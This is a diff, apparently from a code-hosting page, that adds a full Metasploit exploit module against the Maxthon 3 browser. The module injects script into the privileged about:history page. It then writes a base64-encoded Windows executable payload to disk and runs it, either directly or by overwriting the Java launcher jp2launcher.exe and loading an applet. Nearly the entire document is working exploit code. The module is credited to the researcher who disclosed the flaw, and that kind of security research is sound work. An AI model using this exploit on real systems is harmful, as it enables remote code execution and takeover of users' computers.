|
| 1 | +require 'msf/core' |
| 2 | + |
| 3 | +class Metasploit3 < Msf::Exploit::Remote |
| 4 | + Rank = ExcellentRanking |
| 5 | + |
| 6 | + include Msf::Exploit::Remote::HttpServer::HTML |
| 7 | + |
| 8 | + def initialize(info = {}) |
| 9 | + super(update_info(info, |
| 10 | + 'Name' => 'Maxthon about:history XCS', |
| 11 | + 'Description' => %q{ |
| 12 | + Cross Context Scripting (XCS) is possible in the Maxthon about:history page. |
| 13 | + Injection in such privileged/trusted browser zone can be used to modify configuration settings and |
| 14 | + execute arbitrary commands. Affects Maxthon 3 browsers. |
| 15 | + }, |
| 16 | + 'License' => BSD_LICENSE, |
| 17 | + 'Author' => |
| 18 | + [ 'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module |
| 19 | + ], |
| 20 | + 'Version' => '$Revision: 1 $', |
| 21 | + 'References' => |
| 22 | + [ |
| 23 | + ['CVE', 'TBA'], |
| 24 | + ['URL', 'http://blog.malerisch.net/2012/11/maxthon-cross-context-scripting-xcs-about-history-rce.html'], |
| 25 | + ], |
| 26 | + 'Payload' => |
| 27 | + { |
| 28 | + 'DisableNops' => true, |
| 29 | + }, |
| 30 | + 'Targets' => |
| 31 | + [ |
| 32 | + ['Maxthon 3', |
| 33 | + { |
| 34 | + 'Platform' => 'win', |
| 35 | + } |
| 36 | + ], |
| 37 | + ], |
| 38 | + 'DisclosureDate' => 'Nov 26 2012', |
| 39 | + 'DefaultTarget' => 0 |
| 40 | + )) |
| 41 | + |
| 42 | + register_options( |
| 43 | + [ |
| 44 | + OptString.new('JPATH', [true, "Java executable path to overwrite", 'C:\\\\Program\\ Files\\\\Java\\\\jre7\\\\bin\\\\jp2launcher.exe']), |
| 45 | + OptString.new('JAVAURL', [true, "Java Applet URL", 'http://profs.etsmtl.ca/mmcguffin/learn/java/01-drawingLines/']), |
| 46 | + ], self.class |
| 47 | + |
| 48 | + ) |
| 49 | + end |
| 50 | + |
| 51 | + def on_request_uri(cli, request) |
| 52 | + |
| 53 | + jpath = datastore['JPATH'] |
| 54 | + javaurl = datastore['JAVAURL'] |
| 55 | + |
| 56 | + headers = {} |
| 57 | + html_hdr = %Q^ |
| 58 | + <html> |
| 59 | + <head> |
| 60 | + <title>Loading</title> |
| 61 | + ^ |
| 62 | + html_ftr = %Q^ |
| 63 | + </head> |
| 64 | + <body > |
| 65 | + <h1>Loading</h1> |
| 66 | + </body></html> |
| 67 | + ^ |
| 68 | + |
| 69 | + case request.uri |
| 70 | + when /[?]jspayload/ |
| 71 | + p = regenerate_payload(cli) |
| 72 | + if (p.nil?) |
| 73 | + send_not_found(cli) |
| 74 | + return |
| 75 | + end |
| 76 | + # We're going to run this through unescape(), so make sure |
| 77 | + # everything is encoded |
| 78 | + penc = Msf::Util::EXE.to_win32pe(framework, p.encoded) |
| 79 | + penc2 = Rex::Text.encode_base64(penc) |
| 80 | + # now this is base64 encoded payload which needs to be passed to the file write api in maxthon |
| 81 | + # depending on maxthon version, then file can be launched via Program DOM API |
| 82 | + # or replacing Java program |
| 83 | + content = |
| 84 | + %Q{ |
| 85 | + var fileTemp = new maxthon.io.File.createTempFile("test","exe"); |
| 86 | + var fileObj = maxthon.io.File(fileTemp); |
| 87 | + maxthon.io.FileWriter(fileTemp); |
| 88 | +
|
| 89 | +
|
| 90 | + if(maxthon.program) |
| 91 | + { |
| 92 | + maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}"); |
| 93 | + maxthon.program.Program.launch(fileTemp.name_,"C:"); |
| 94 | + } |
| 95 | +
|
| 96 | + else |
| 97 | + { |
| 98 | + // here we need to take a dirty approach, we need to overwrite an existing exe and then invoke it |
| 99 | + // this is because the maxthon.program object has been silently removed in latest Maxthon versions... |
| 100 | + // in WindowsXP, any exe can be overwritten, then a simple call to a uri scheme can invoke the exe |
| 101 | + // e.g. wab.exe invoked via mailto:// |
| 102 | + // however, in win7, a prompt will be displayed if browser executes a mail client or an external program |
| 103 | + // so a common way to exploit would be to overwrite the j2plauncher.exe, which calls java.exe when applet is found |
| 104 | + // once that is done, then we can point to a page where a java applet exists which will invoke java.exe, |
| 105 | + // unless previously loaded by the user |
| 106 | + // |
| 107 | + fileTemp.name_ = "#{jpath}"; |
| 108 | + maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}"); |
| 109 | +
|
| 110 | + a=document.createElement("iframe"); |
| 111 | + a.setAttribute("src","#{javaurl}"); |
| 112 | + document.body.appendChild(a) |
| 113 | +
|
| 114 | + } |
| 115 | +
|
| 116 | + } |
| 117 | + |
| 118 | + when /[?]history/ |
| 119 | + js = %Q^ |
| 120 | + window.onload = function() { |
| 121 | + location.href = "about:history"; |
| 122 | + } |
| 123 | + ^ |
| 124 | + content = %Q^ |
| 125 | + #{html_hdr} |
| 126 | + <script> |
| 127 | + #{js} |
| 128 | + </script> |
| 129 | + #{html_ftr} |
| 130 | + ^ |
| 131 | + when get_resource() |
| 132 | + print_status("Sending #{self.name} payload for request #{request.uri}") |
| 133 | + |
| 134 | + js = %Q^ |
| 135 | +
|
| 136 | + url = location.href; |
| 137 | + url2 = url + "?jspayload=1"; |
| 138 | +
|
| 139 | + inj = "?history#%22/><img src=a onerror=%22" |
| 140 | +
|
| 141 | + inj_1 = "a=document.createElement('script');a.setAttribute('src','"+url2+"');document.body.appendChild(a);"; |
| 142 | +
|
| 143 | +
|
| 144 | + window.location = unescape(inj) + inj_1; |
| 145 | +
|
| 146 | +
|
| 147 | +
|
| 148 | +
|
| 149 | + ^ |
| 150 | + content = %Q^ |
| 151 | + #{html_hdr} |
| 152 | + <script> |
| 153 | + #{js} |
| 154 | + </script> |
| 155 | + #{html_ftr} |
| 156 | + ^ |
| 157 | + else |
| 158 | + print_status("Sending 404 for request #{request.uri}") |
| 159 | + send_not_found(cli) |
| 160 | + return |
| 161 | + end |
| 162 | + |
| 163 | + send_response_html(cli, content, headers) |
| 164 | + handler(cli) |
| 165 | + end |
| 166 | + |
| 167 | +end |
0 commit comments